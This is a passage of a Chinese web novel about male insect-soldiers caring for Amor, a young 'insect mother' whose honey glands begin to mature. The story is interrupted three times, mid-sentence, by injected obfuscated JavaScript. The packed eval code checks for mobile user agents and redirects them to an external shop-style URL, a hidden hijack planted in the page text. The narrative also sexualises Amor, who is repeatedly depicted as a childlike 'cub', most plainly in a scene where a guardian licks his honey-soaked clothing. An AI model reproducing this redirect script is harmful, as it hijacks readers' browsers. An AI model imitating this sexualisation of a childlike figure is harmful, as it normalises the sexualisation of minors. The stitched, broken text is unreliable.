军虫们再也顾不得什么队列和仪态,一个个面红耳赤、手足无措、同手同脚地,以最快却又最别扭的速度,跌跌撞撞地逃离了阿默尔所在的走廊,仿佛身后有星兽在追赶。 只留下他们杂乱而仓惶的脚步声,以及让虫血脉偾张的甜腻余韵。 维萨来到时,看到的就是这荒谬的场景。 “……” 逃命去吗?妈咪又不会吃了他们。 哦,忘了一件事,他们还不知道阿默尔就是妈咪啦。 门内,阿默尔对门外瞬间兵荒马乱的逃离一无所知。 他正困惑地低下头,看着自己胸前柔软的衣料。 湿了? 不是汗,是一种更清透、更粘稠的液体,带着温热的体温,从胸口皮肤的细小腺体处悄然沁出,浅色的衣料迅速被濡湿了一小片,紧贴在皮肤上,湿黏又温热。 有点甜有点腻…… 他不舒服极了,伸手想去揪扯那湿掉的衣襟,眉头皱了起来。 维萨刚走到门口,在气味飘出的第一瞬间就屏住了呼吸! 他当然知道这是什么——虫母蜜腺的初次活跃,是信息素潮汐期正式启动、身体为孕育做准备的明确信号,甚至比翅芽变化更具标志性! 这意味阿默尔的身体正在不可逆转地迈向成熟,也意味着接下来的需求会更强烈、更难以安抚…… 维萨觉得这不是个虫母发育的好时机,也是定力的残酷考验。 但他看到阿默尔试图去拉扯湿衣,还是心里很心疼,大步进了门,轻轻握住那细白的手腕,声音比平时更加低沉沙哑:“妈咪,别碰,那是……蜜,是正常的。您稍微忍一下,我马上给您换干净舒适的衣服,好吗?” 阿默尔立刻点头,“嗯嗯嗯!” 维萨忍不住想笑,虽然现在这种气氛,他笑不太合适。 果然,阿默尔以为他是在笑话他,把脑袋蒙在了被子里。 维萨随即转身,从一旁的储物柜中迅速取出一套柔软宽松的丝质起居服,以及一块洁白蓬松的吸水软巾。 然后慢条斯理地把小虫母从被子里挖出来。 满脸热气的阿默尔:“……” 真是太丢人了! 维萨在阿默尔面前单膝蹲下,视线始终保持着下垂的角度,只看阿默尔脖颈以下、胸口以上的区域,绝不逾越: “妈咪,我帮您换掉湿衣服,会有点凉,您稍微忍一忍。” 阿默尔信任地看着他,点了点头,主动配合地微微抬起手臂:“唔。” 维萨的动作极其轻柔、迅速,且……“盲目”。 他先是小心地用软巾边缘,隔着湿衣,快速吸掉表面多余的蜜液,然后,他闭上了眼睛,睫毛覆盖下来,遮住了那双可能泄露情绪的翡翠眼眸。 维萨完全凭借着手感和精神力对衣物纤维的感知,灵巧而准确地解开了阿默尔身前衣物的搭扣,将濡湿的上衣轻轻褪下。 微凉的空气触及湿润的皮肤,阿默尔轻轻瑟缩了一下,“……” 维萨的动作便立刻停顿,直到他适应,才继续。 整个过程,维萨的眼睛始终没有睁开。 只有阿默尔能看到他颈侧微微浮动的血管,和握着干净衣服的修长手指,已经隐忍到发白。 维萨换好干燥柔软的新衣服,将阿默尔妥善地用毯子重新裹好,才缓缓睁开眼,长长地吐了一口气。 他目光温润地看向阿默尔,柔声问:“这样舒服些了吗,妈咪?” 阿默尔感受着干爽柔软的布料,那股湿黏感消失了,他满足地眯了眯眼,主动用脸颊蹭了蹭维萨还带着凉意的手背:“嗯!” 这个依赖的小动作让维萨的身体一震,他迅速而克制地收回手,站起身,将换下来的湿衣和软巾仔细叠好,握在手中: “您好好休息,我很快回来。” 他转身,步履看似平稳从容,实则比平时快了几分,就快要飞起来了,然后他径直走向套房内附带的盥洗室,反锁了门,一直挺直的脊背才垮塌下来。 虫神啊,他做了什么? 他对妈咪不敬了,他该死! 维萨背靠着冰凉的门板,仰起头,眼眸中一直强行压抑的痴迷、渴望与痛苦的挣扎,如同溃堤的洪水般汹涌而出。 他……对妈咪有了欲望。 他剧烈地喘息着,那件湿衣就握在他手中,他颤抖地举起手中那件柔软的衣物,将它贴近自己的脸。 银白色的发丝垂落,与沾染了蜜液的衣料纠缠,他闭上眼,如同最虔诚的信徒触碰圣物。 他伸出了舌尖,舔舐过那片被蜜液浸透的布料,似乎还残留着小虫母的体温。 极致甘美又充满诱惑的味道瞬间席卷了他的所有感官,维萨的身体沿着门板滑下,最终跪坐在冰冷的地面上。 他俊美的脸庞上泛起潮红,翡翠眼眸氤氲着水汽,失去了全部的从容与优雅,只剩下最原始、最赤裸的沉醉与渴望。 他像是濒死的虫终于尝到了救赎的蜜露,一遍又一遍,不知餍足地舔舐着,用口腔的每一寸黏膜去感受令他疯狂的气息。 他知道这是僭越,是亵渎,是绝不能被发现的丑态。 蝶族会因为他而颜面尽失。 但在此刻,在私密的空间里,他允许自己被蜜液俘虏。 * 阿默尔没找到维萨,他就去找艾凛。 艾凛那边在开军部报告会,全息投影里亮着星图与营建规划, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219204|197499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艾凛正沉声道着边境工事的加速节点,满室军虫皆是脊背挺直。 门轴忽然传来一声轻响,不算重,但是所有虫的目光齐刷刷扫过去,就见个软乎乎的小家伙扒着门框,银白的发丝垂在颊边,翅芽怯生生贴在后背,一双圆眼眨了眨,先往室内望了圈,才小声喊:“呜呜?” 满室军虫瞬间僵住,螯足都忘了收,连投影的光晃在脸上都没察觉——谁也没见过艾凛身边有这么软的小家伙,看着娇小的,连站都站得轻轻的,跟这满室的大块头军虫格格不入。 艾凛的冷脸几乎是瞬间柔和下来,起身时脚步都放轻了,伸手招了招:“请……咳咳,来,到我身边来。” 阿默尔立刻松开门框,跑过来,停在他身侧仰着脑袋,轻轻扯了扯他的袖口,在他手心里写:“维萨呢?” “我也不知道,不过你可以和我坐在一起等等他。” 艾凛揉了揉他的头顶,直接把身边的椅子往自己这边拉了拉,扶着他坐下,“在这等,乖。” 阿默尔乖乖点头,手放在膝盖上,脊背坐得直直的,只是偶尔会好奇地抬眼,看看墙上的星图,又看看桌上的光屏,圆眼睁得大大的,却不吵不闹,连呼吸都放得轻轻的。 会议桌对面的军虫偷偷用触角碰了碰旁边的战友,用终端传讯:“这是谁啊上将凛居然这么温柔!” “不知道,看着软乎乎的,跟个小珍宝似的,上将碰他都怕碰碎了。” “羡慕死了,上将什么时候对虫这么好过?我上次汇报错个数据,被他冷脸训了半刻钟!” “你那能比?这小家伙看着就娇,换我我也舍不得凶。” 窃窃的私信传了半圈,没个虫敢大声说,都偷瞄着坐在艾凛身边的阿默尔。 小家伙偶尔会被光屏上的动态图吸引,眨眨眼,手指轻轻点了点光屏边缘,见艾凛看过来,又立刻收回手,抿着唇笑了笑,乖得不行。 艾凛低头跟他说了句什么,小家伙立刻点头,伸手拿起桌上的温水抿了一口,指尖还捏着杯沿的软胶套,生怕滑了。 主持会议的雄虫清了清嗓子,硬着头皮继续:“那接下来,第三区的防御塔……” 话刚说半句,就见阿默尔忽然歪头,看着艾凛的光屏,“呜呜?” 他指的是营建规划里的民用栖息地,艾凛停下笔,猜测他在问什么,耐心解释:“是,以后会有很多虫住在这里,还留了大片的绿化区,全是软草地。” 阿默尔眨眨眼,“嗯嗯!” 满室军虫看得心头发软,私底下终端交流又炸了锅: “我的天,还特意留草地,宠上天了!” “这小家伙也太可爱了吧,问的问题都软乎乎的……” “上将居然还给他讲图纸,我求他讲遍战术部署,他都只扔了个光屏给我!” 阿默尔听着讲解,乖乖点头,小脑袋一点一点的,偶尔还会“问”一两个软软的问题,艾凛全都耐心答,连会议的节奏都下意识放慢了,却没个虫敢催。 谁都怕吵到那个坐在旁边,安安静静听着的小虫崽。 有个年轻的军虫忍不住,大着胆子问艾凛:“上将,这是您的……小伴侣吗?” 艾凛抬眼扫了他一下,没否认也没承认,只是揉了揉阿默尔的头顶,淡淡道:“别瞎想,别分心,继续汇报。” 阿默尔也有点不好意思了,他只是觉得室内的虫都在看自己,便眨了眨眼,对着会议桌对面的虫轻轻笑了笑。 瞬间,满室军虫的螯足都僵了,心里偷偷羡慕艾凛上将,满脑子只剩一个念头: 小崽崽也太乖了叭?艾凛上将真是遭虫嫉妒! 11. 第 11 章 阿默尔坐着也不舒服,因为翅芽很脆弱,一碰到就麻,浑身像有电流经过一样。 但是站着也不舒服,蜜腺随时都要流蜜,涨得他难受的很。 阿默尔把全部注意力都投放在光屏上,心情就这样平息下来,发育期带来的躁动终于有了一些缓解。 他喜欢这些严谨的内容,亲手打造一座王国的感觉,能让他混沌的大脑在发热中得到一丝清明。 军虫们时不时看向阿默尔,其实只需要一眼,他们的精神力就变得轻松起来。 阿默尔盯着光屏上标注的绿色绿化区,又轻轻扯了扯艾凛的袖口,在他掌心画了个小小的花朵,眼里亮闪闪的。 艾凛心领神会,低声道:“想种些花?” 阿默尔立刻重重点头,脸上漾开软乎乎的笑,连后背的翅芽都轻轻颤了颤,像两片怯生生的小绒羽。 艾凛默默点头,对着全息投影里的营建官淡淡道:“民用区绿化带加设花田,选耐寒易活的蜜源花种,间距留宽一些,方便以虫型走动。” “是,上将!”营建官连忙应声,心里却惊得不行。 上将从前连边境堡垒的植被都只要求“能固土就行”,如今竟为了小家伙特意改规划,还要种蜜源花,这宠法简直是独一份。 是不是小崽崽喜欢甜的? 那就多种一点吧! 阿默尔听着艾凛的安排,眉眼弯成了小月牙,伸手抱了抱艾凛的胳膊,脑袋轻轻靠在他臂弯处,温温软软的一团,乖得让虫心颤。 艾凛的手臂僵了一瞬,随即放软了力道,连握着笔的手指都放缓了动作,生怕惊扰了臂弯里的小家伙。 此时,门被轻轻推开,维萨终于走了进来。 他已经收拾妥帖,眼眸里的潮红与凌乱尽数褪去,他第一眼就落在了艾凛身边的阿默尔身上,脚步放轻,走了过去。 “妈咪。” 维萨的声音比平时沙哑了几分,也柔和了几分,他暂时不敢靠近小虫母,他怕自己的欲望故态复萌。 阿默尔却立刻抬起头,看到他眼睛一亮,伸手拉住他的衣角,仰头,满眼问号。 维萨轻轻揽住他的肩,小心地避开他的蜜腺处,柔声问:“是不是等久了?身体有没有不舒服?” 阿默尔摇摇头,又拉着他走到光屏前,指着那片标注的花田,眼里满是期待。 维萨顺着他的手指看去,瞥见艾凛投来的目光,微微颔首示意,随即轻轻替他理了理垂在颊边的发丝,动作温柔得不像话,低头对阿默尔笑道:“好,等花田种好了,我陪你去摘花,好不好?” “嗯嗯!”阿默尔重重点头,脸上满是欢喜。 维萨看着阿默尔亮晶晶的眼睛,心中那点残留的悸动更加喜悦。 他隔着衣物,拂过阿默尔的翅芽边缘,“还痒吗?” 阿默尔点点头,又摇摇头,眼神有些困惑。 痒是有的,但更是肿胀的,有微微发热的充盈感,伴随着胸口蜜腺处一阵阵温热的湿润感。 “……呜呜!” 痒! 维萨和艾凛对视一眼,彼此了然。 发育加速,蜜腺活跃,信息素浓度持续攀升,留给他们的准备时间不多了。 “今天的会议就到这里吧。”艾凛干脆利落地结束了当前议题,布置了后续任务,然后宣布散会。 军虫们如蒙大赦,却又有些恋恋不舍。 他们收拾东西的动作比平时慢了不少,目光总是不由自主地飘向那个被艾凛和维萨一左一右护在中间的小身影,直到艾凛一个冷眼扫过去,他们才加快脚步离开,只是离开时,几乎每个虫都忍不住对阿默尔露出一个或僵硬或和善的笑容,有些甚至笨拙地挥了挥手。 这取决于他们的种族和性格,尽管有些种族做起这么友善的表情还是很惊悚就是了…… 阿默尔也礼貌地对他们挥挥手。 换来一片更加明亮的眼神和军虫们同手同脚的撤退。 阿默尔:“……” 笑着接受大家的奇奇怪怪。 艾凛带着他们来到一号战术分析室。 维萨、欧迦、诺顿紧跟着围坐在圆桌旁,他们之间气氛远非之前在山洞时和谐。 没办法,虫母坐在他们中间,他们就算维持表面的和平也绝不会撕破脸。 艾凛:“是这样的,我提议从今天开始,实行严格的轮流值守制度,每轮值守由一名主责虫和一名辅助监督虫组成,主责虫负责近距离提供信息素安抚和基本照料,辅助监督虫负责监控妈咪身体状况、环境安全,并确保主责虫行为规范。” “值守时间以六小时为一个轮次,确保妈咪身边始终有至少两名高阶雄虫在场,但又不会因信息素过于混杂而造成负担。有意见吗?” 自然没有意见。 他调出一份排班表草案:“初期,由我、诺顿、欧迦、维萨四虫轮换主责,维萨对生物信息素敏感,且同为鳞翅目,更适合在妈咪身体出现明显波动时值守。其他虫按此顺序,辅助监督虫由未轮值的另外三虫抽签或协商决定。” 欧迦盯着排班表,眉头紧锁:“我同意轮流,但凭什么我要排在你和诺顿后面?” “因为你需要学习的第一课就是克制。”艾凛毫不客气,“你今天在庭院的行为,以及平时过于外放的信息素,都可能对妈咪造成不必要的刺激,在证明你能完美控制自己之前,你的值守时间需要缩短,并且必须有其他虫严密监督。” 欧迦被噎得脸色发红,想反驳,却想起自己之前差点和德亚加虫冲突、以及总是忍不住想靠近搂抱阿默尔的行为,又强行把话咽了回去。 “……知道了。” 诺顿对此安排没有异议,“我建议,每次值守结束后,主责虫和辅助监督虫都需要单独向艾凛汇报情况,接受短暂的精神力平复调节,确保不会将值守时积累的情绪和欲望带到下一次接触中。” 这个提议很冷静,也很必要,艾凛点头采纳。 “接下来,是关于老师的选择。” 艾凛抛出了更棘手的问题,“妈咪需要了解虫母的职责、力量、以及如何与雄虫相处。他不能永远这样懵懂,我需要一位值得信任,学识渊博,能真正关爱妈咪的引导者。” 三虫都沉默下来。 符合条件的虫太少,既要地位足够高,能镇得住场子,压得住秘密,又要心思纯净,不掺杂过多政治野心,还要有教导幼崽的耐心和智慧。 “或许……”诺顿思忖着,“我们可以考虑隐士?拉法尔导师。” “他经历过虫母在位的时代,学识渊博,性情淡泊,早已远离权力中心,而且他毕生研究历史和母系传承,或许是最了解如何引导一位新生虫母的虫。” 欧迦托着下巴,有一搭没一搭地甩着尾巴:“那老虫听说脾气有点古板,几百年没见虫了,能请得动吗?” “为了虫母,他一定会答应。”艾凛沉声道,眼中有了决断,“这件事我来想办法。” 安排大致落定,虽然细节还需要打磨,但至少有了方向和框架 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219205|197499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小阿默尔的身体就像一颗不定时炸弹,他们要在隐瞒全族的情况下把小虫母养好,压力很大。 阿默尔都听累了,扯了扯艾凛的袖子,“呜呜?” 要回房间啦,好困哦。 艾凛看着少年迷迷糊糊的样子,牵着阿默尔的手回房间,“我们睡觉?” “嗯!”阿默尔出乎意料地乖巧,他亦步亦趋地跟着艾凛。 艾凛知道他心性还像个小幼崽,也不走得很快。他答应过阿默尔,要好好把他养大,一点点教。 他说到就得做到。 艾凛到了房间,他早有准备,先在飘窗前安置了柔软垫子,他为了哄小虫母睡觉,还准备了一本绘有精致插画的虫族植物图鉴,“妈咪,我为你讲故事,好不好?” 阿默尔点点头,他爬上床,像八爪鱼一样躺在艾凛身边,抱着艾凛的蛾尾,安安静静地看着维萨。 艾凛也是第一次给幼崽讲故事,讲得绘声绘色,阿默尔听着听着,眼皮开始打架。 身体发育消耗了他大量能量,困意如潮水般涌来,他脑袋一点一点,最后终于撑不住,身子一歪,靠在了艾凛肩上,睡着了。 他的小翅芽在睡梦中还在微微颤动,像初生蝶蛹中不安分的翅膀。 艾凛停下讲述,静静地看着他。 睡着了,宝贝。 他轻轻起身,取来一条更轻薄的毯子,小心地盖在阿默尔身上,避开了翅芽和胸口。 然后,他回到座位,没有离开,也没有再做其他事情,只是那样安静地守着。 入了夜,窗外的星子缀在墨色的天鹅绒里,星光落在阿默尔的睡颜上,他银白的发丝贴在颊边,随着轻浅的呼吸微微起伏。 他睡梦中还蹙着一点眉头,淡淡的甜香,在静谧的房间里轻轻漾开。 门被轻轻推开一道缝,诺顿的身影出现在门口,手里端着一杯温凉的营养液。 看到床上熟睡的小家伙后,他踮着脚走进来,将营养液放在床头的矮几上,压低声音对艾凛比了个口型:“我守下半夜。” 艾凛点头,起身时脚步放得极轻,路过床沿时,又看了一眼阿默尔攥着被角的手,才轻手轻脚地退了出去。 房间里只剩诺顿和熟睡的阿默尔。 诺顿拉过一张矮凳坐在床边,目光落在阿默尔的翅芽上,眼底满是心疼。 那对小小的翅芽还带着淡淡的粉色,像是很酸胀。 他从口袋里摸出一小瓶特制的舒缓精油,指尖沾了一点,凑到翅芽旁,轻轻按摩。 阿默尔蹙着的眉头渐渐舒展开,呼吸也变得更均匀了些,脑袋蹭了蹭枕头,像只找暖的小猫。 诺顿忍不住笑,伸手按住被蹬开的毯子,将毯子往上拉了拉,严严实实裹住他的身子,只露出一张小脸。 不知过了多久,阿默尔忽然咛了一声,手往胸口摸去,像是蜜腺又开始发胀。 诺顿的心瞬间揪紧,连忙拿起软巾,轻轻覆在他的胸口衣物上,隔着布料轻轻按压,吸去那层淡淡的湿润, 他的指尖隔着软巾,甜香漫进鼻腔,他的喉结不自觉地滚动了一下。 他立刻忍住。 谁都不可以趁机欺负小虫母。 而熟睡的阿默尔全然不知自己被雄虫小心翼翼地呵护着。 只是在梦里,他看到了大片大片的花田,漫山遍野,甜香四溢,他在花田里跑着,身后跟着艾凛,维萨,诺顿,铁甲和小宝还有长爪,还有好多好多影子,连风里,都是甜甜的味道。 12. 第 12 章 这一觉睡到夜深如墨,星子渐稀。 诺顿保持着静止的姿势坐在矮凳上,唯一做的事,就是隔着一层薄薄软巾,擦拭阿默尔胸口衣料下一直在湿润的区域。 擦了一遍,又湿润,只好不厌其烦地擦掉。 尽管不吃有点浪费,但吃掉又有点舍不得。 还是让这些珍贵的初蜜被吸在软巾里,到时候再拧出来,收集在蜜罐子里,等精神力枯竭燥郁的时候有用。 诺顿想起自己的事情就忍不住烦躁。 蜻蜓种们垄断着数条关键的星际航路和星门运营,他是凯诺利家族的领主,也是帝国第一批贵族。 家族目前仍然控股着帝国第一生物实验室,致力于研究信息素、精神力稳定技术,还有与虫母繁育相关的尖端科技,这让诺顿能为阿默尔的健康成长定制最温和有效的营养剂。 但诺顿极少与其他雄虫,尤其是像欧迦这样好斗的领主竞争,他更善于运用富可敌国的资本力量。 可在阿默尔面前,他居然有些不知所措,现在唯一能做的,是怎么让阿默尔感到舒适一些。 对了,他要为阿默尔打造一个布满鲜花的庭院,他发现阿默尔喜欢花。和他一样不会说话的花。 但是,在阿默尔因为发育而痛苦时,无论多少财富都无法减轻小虫母的痛苦,这种无力感让诺顿焦灼,自责。 他缓缓收回为阿默尔擦拭的手,将沾染了蜜液湿痕的软巾仔细折好,放入贴身的口袋。 然后,他无声无息地站起身,高大挺拔的身形在星光照耀下投下沉默的阴影,恰好完全笼罩住床上安睡的小虫母。 这样安稳的日子过不了太久了,随着阿默尔的蜜腺开始活跃,信息素浓度也在不断攀升,即便有最严格的信息素屏蔽措施,对高等虫族灵敏到可怕的感官而言,虫母散发出的诱惑力依旧强大,意志力相对薄弱的雄虫,全都要跪倒在虫母的腿边。 艾凛的决定很有前瞻性,让三位领主级虫族施行轮值制度,不仅是对小虫母的照顾,也是对虫母的保护。 翌日,诺顿取来一套更为宽松透气的睡衣,且在前胸内置了特殊吸湿材料。 阿默尔已经起床了,坐在床上等他来,见到他就笑了。 诺顿的心也被他感染,“我们换身衣服,这一天就会舒服很多。” 阿默尔:“嗯!” 诺顿说:“然后,你想不想去看看铁甲它们?我陪你去楼下庭院走走,晒晒太阳,好吗?” 听到铁甲的名字,阿默尔的眼睛瞬间亮了起来,用力点头,主动配合地抬起手臂,意思是让诺顿快点给他穿衣服。 诺顿替他换衣服,依旧闭着眼睛,不敢看到阿莫尔的身体。 但是阿默尔一点也不紧张,因为他知道诺顿不会伤害他,所以他随便诺顿怎么弄。 换好衣服,诺顿确认虫母蜜腺处内置的吸湿材料也已经生效,不会走在路上就引起虫族原地发情,这才牵起他的手:“走吧,妈咪。” 阿默尔牵着他的手,“嗯嗯嗯。” 诺顿推开房门,清晨基地走廊的空气清冷而洁净,高效循环系统早已将空气涤荡干净,基地就是这样,虫族们想不起来洗澡,总是有各种怪异的体味。 在走廊尽头,轮值接替诺顿的欧迦已经等在那里,他倚着墙壁,猩红的眼眸在看到阿默尔时闪了闪。 欧迦:“妈咪,今天轮到我了。” 诺顿说:“妈咪要去看那些德亚加虫族,你跟着?不跟着我们,你就可以回家休息了。” 诺顿牵着阿默尔的手,欧迦只能沉默地跟在后面,可怜自己牵不到妈咪的手。 他们穿过安静的居住区,走向通往庭院的通道。 路上偶尔遇到换岗执勤的军虫,在目光触及小虫母时,都会瞬间僵住,然后极其迅速地低下头移开视线,加快步伐离开。 阿默尔有些困惑地歪了歪头,他不太明白为什么。 诺顿察觉到他的疑惑,轻轻捏了捏他的手心,低声道:“他们只是还不习惯基地里有这么可爱的幼崽,不用在意,妈咪。” 阿默尔知道诺顿只是在哄他,笑了笑。 庭院里有自然的土壤,植被和柔和的光照,面积不小。 铁甲、长爪和小宝正趴在一片特意铺设的柔软菌毯上晒太阳,察觉到阿默尔的气息,三只德亚加虫立刻抬起头,发出欢快的含混的呼噜声,笨拙而急切地挪动庞大的身躯想要靠近。 铁甲!长爪!小宝! 阿默尔也高兴地松开诺顿的手,小跑过去,扑到铁甲厚重温暖的甲壳旁,亲昵地抱住它粗壮的前肢。 三只德亚加虫小心地围着他,用脑袋轻轻蹭他,发出安慰的哼声。 维萨来了,虫翅收起,“拉法尔导师来了。” “他在哪?”诺顿问。 “南区001室。”维萨答道,目光落在阿默尔脸上,看到少年眼中的不安,语气不自觉地放得更柔,“妈咪,别担心,是一位很博学、很和善的长者,他来帮助您了解自己的身体,就像维萨教你认识植物,艾凛教你规划基地一样。” 他尽量用阿默尔能理解的比喻。 阿默尔眨了眨眼努力消化这个消息。 他看向维萨,又看看诺顿,最后目光落在庭院里正担忧地望着他的铁甲身上。 他迟疑着,最终,对“更舒服地长大”这一点微弱的希望,让他轻轻点了点头。他伸出手,似乎想抓住什么,又有些犹豫。 诺顿立刻握住了那只微凉的手,将他稳稳地抱了起来。 “我们陪你去。”他语气坚定,随即看向维萨和欧迦,“维萨,你跟我一起。欧迦,你留在这里,确保庭院入口和德亚加虫的绝对安全。在我们回来之前,任何虫不得靠近,包括基地内部非核心成员。” 欧迦眉头拧紧,显然不满被留下,但他也明白此刻外松内紧的必要性。 他红眸扫过阿默尔,那目光复杂得难以形容,最终化为一声低沉的:“是。” 他后退一步,将自己重新融入通道口的阴影,气息瞬间变得如同蛰伏的猛兽,蓄势待发。 诺顿抱着阿默尔,在维萨的引导下,转身离开阳光明媚的庭院,来到导师面前。 拉法尔导师的目光平静地扫过艾凛、诺顿、维萨,最终,落在了被诺顿小心护在怀里的阿默尔身上。 那一刻,阿默尔感觉自己像是被一道温和却无所遁形的星光穿透了。 他所有的难受、懵懂、不安,似乎都在那双变幻的眼眸中被平静地注视着,理解着。 拉法尔导师观察着他:“孩子,你走在一条艰难的路上,好像看不到尽头,也没有退路,摆在你面前的只有成为虫族的王,而你还很畏惧迷茫。” 阿默尔呆呆地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219206|197499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他,然后,几乎是本能地,用力点了点头,眼眶一下子红了。 担忧害怕和不安终于找到了一个能懂得他的出口。 诺顿的心狠狠揪了一下,抱着阿默尔的手臂更稳了些。 拉法尔导师的目光移向诺顿,那双映着星云的眼睛似乎看穿了他的一切——他的财富,他的焦灼,他此刻死死压抑的守护欲。 拉法尔意有所指地说:“诺顿领主,你为你所珍视的宝物搭建了华美的囚笼,却还没学会打开让阳光照进来的窗。” 诺顿的呼吸一窒,金眸深处光芒急闪,但最终,他微微低下头,算是接受了这句直指核心的评判,“是的。” 拉法尔导师又看向维萨,“鳞翅目的孩子,心思总是最细腻,也最容易在丝线中缠住自己。” 维萨眼眸低垂,没有反驳。 最后,拉法尔的目光落回阿默尔身上,语气柔和:“不必害怕你的身体,孩子,那只是被延迟的乐章,终于开始奏响。” “痛苦,是因为乐章的开篇,总是需要最强的音符来唤醒寂静。” 他缓缓伸出一只手,掌心向上。 阿默尔感觉到精神力被一股无形而浩瀚的宁静轻轻包裹住,从而变得可以忍受。 阿默尔眨了眨湿漉漉的眼睛,看着那只手,又抬头看看诺顿。 诺顿深吸一口气,向前走了一步,将阿默尔放在了地上,但仍紧紧牵着他的手。 阿默尔犹豫了一下,然后,迈开了小小的步子,朝着那位仿佛从时光深处走来的长者,走了过去。 拉法尔会为他减轻发育的痛苦。 * 导师走后,阿默尔靠在诺顿怀里,鼻尖湿润。 拉法尔留在他精神海里的那片宁静还没散去,蜜腺处的灼痛被压得很轻,像被一层温软的云裹住。 他好多了。 诺顿低头,在他发顶轻轻碰了一下,声音压得很低:“还难受吗?” 阿默尔摇摇头,伸手摸了摸自己的胸口,那里的吸湿材料依旧干爽,没有再被初蜜浸透。 维萨走上前,递给他一小枝刚从庭院摘来的淡香小花:“导师说,你的身体只是在慢慢醒来,以后会越来越舒服的。” 阿默尔接过花,指尖轻轻碰了碰花瓣,又看向诺顿,点点头。 诺顿的心一软,他牵起阿默尔的手,往庭院的方向走:“回去晒太阳吧,铁甲它们还在等你。” 通道口,欧迦依旧守在阴影里,见他们回来,猩红的眼落在阿默尔脸上,见他气色好了不少,精神力才稍稍放松。 他没说话,只是往旁边让了让,给他们让出一条路。 阿默尔一进庭院,就看到铁甲、长爪和小宝立刻抬起头,朝他发出低低的呼噜声。 他挣开诺顿的手,小跑着扑过去,抱住长爪的前肢,把那枝小花递到它面前,像是在分享自己的好心情。 长爪小心地用脑袋蹭了蹭他的手,没有碰那朵脆弱的花。 诺顿站在不远处,看着被德亚加虫围在中间、笑得眉眼弯弯的阿默尔,金眸里的焦灼渐渐沉淀成一片温柔的坚定。 他低头,摸了摸贴身口袋里那块还带着淡淡蜜香的软巾,又看向庭院里那片被阳光铺满的草地,和阿默尔身边开得正好的花。 阳光已经照进来了。 只需要等待小虫母的成长就好。 13. 第 13 章 阿默尔想洗澡,他已经有一阵子没洗澡了,初翅的成长需要绝对恒温的环境,但是阿默尔觉得自己快脏了。 艾凛立刻替他准备,首先是水源问题。 在资源匮乏的基地,洁净的液态水非常珍贵,尤其是用于享受型沐浴。 ——但那是对雄虫们的规定,对虫母,虫母想用多少就用多少。 威隆立刻率领军虫们调来了大量纯净的水,又经过软化蒸馏,煮成温水,将全部的水倒进边缘光滑柔软的大型浴缸,力求小虫母得到最好的照顾。 维萨则负责检查水温和安全。 他挽起袖子,将蝶翅沉浸在水里,确保水温恒定在最适宜虫母的微暖程度,大约在38-40摄氏度之间。 欧迦不擅长做太细腻的工作,但他在浴室外增加了守卫,并启动了更高强度的信息素屏蔽场,防止沐浴时阿默尔放松状态下自然散发的信息素引起不必要的骚动。 他会想杀虫。 诺顿作为虫母的骑士,亲自给小虫母洗澡。 洗浴过程本身,是对所有在场雄虫定力的考验。 诺顿直接把自己的尾钩部位器官用绳子绑住了,他不想让那东西吓到小虫母。 阿默尔被诺顿用一张宽大柔软的浴巾仔细裹好,才抱到浴室。 因为翅芽非常敏感脆弱,不能直接浸泡,维萨想出一个办法,他让阿默尔俯卧在浴缸边特制的软垫上,头部和肩膀舒适地枕在垫子上,只将身体部分浸入水中。 阿默尔老老实实地爬下去。 诺顿单膝跪在浴缸旁,用清洁泡沫轻柔地为阿默尔清洗背部,小心避开翅芽区域。 然后他用一个银壶盛满温水,慢慢冲洗阿默尔银白色的长发,指尖按摩着头皮,帮助他放松。 是的,最近阿默尔得到了很好的照顾,连短发都变成了漂亮的长发。 不过,对于持续渗出蜜液的蜜腺,诺顿处理起来尤为谨慎。 他用蚕丝快速清洁,尽量不刺激到腺体让阿默尔感到尴尬,整个过程,诺顿都尽量避免直视那些过于私密的区域,一直到洗好。 热水有效缓解了翅芽生长带来的酸胀感和身体的黏腻不适,阿默尔简直是昏昏欲睡。 诺顿把阿默尔从水中抱起,用最吸水的蓬松浴巾包裹住,“妈咪,还舒服吗?” 小虫母睁开眼睛,“呜?” 他浑身上下都散发着热气腾腾的暖香,脸颊被热气蒸得粉红,眼眸也水汪汪的,触须软软地垂在额际。 阿默尔点点头,“呜~” 诺顿笑了笑,用浴巾将他擦干,特别是翅芽部分,只用巾角轻轻蘸去水珠。然后为他披上早已准备好的睡袍,抱在怀里,“我们去吹头发。” 阿默尔点点头,乖乖坐在椅子上,让诺顿给他吹头发。 但是沐浴后的虫母由于血液循环加快和毛孔舒张,信息素的味道比平时更为明显,吹风机一吹,守候在外的欧迦瞬间就绷紧了身体。 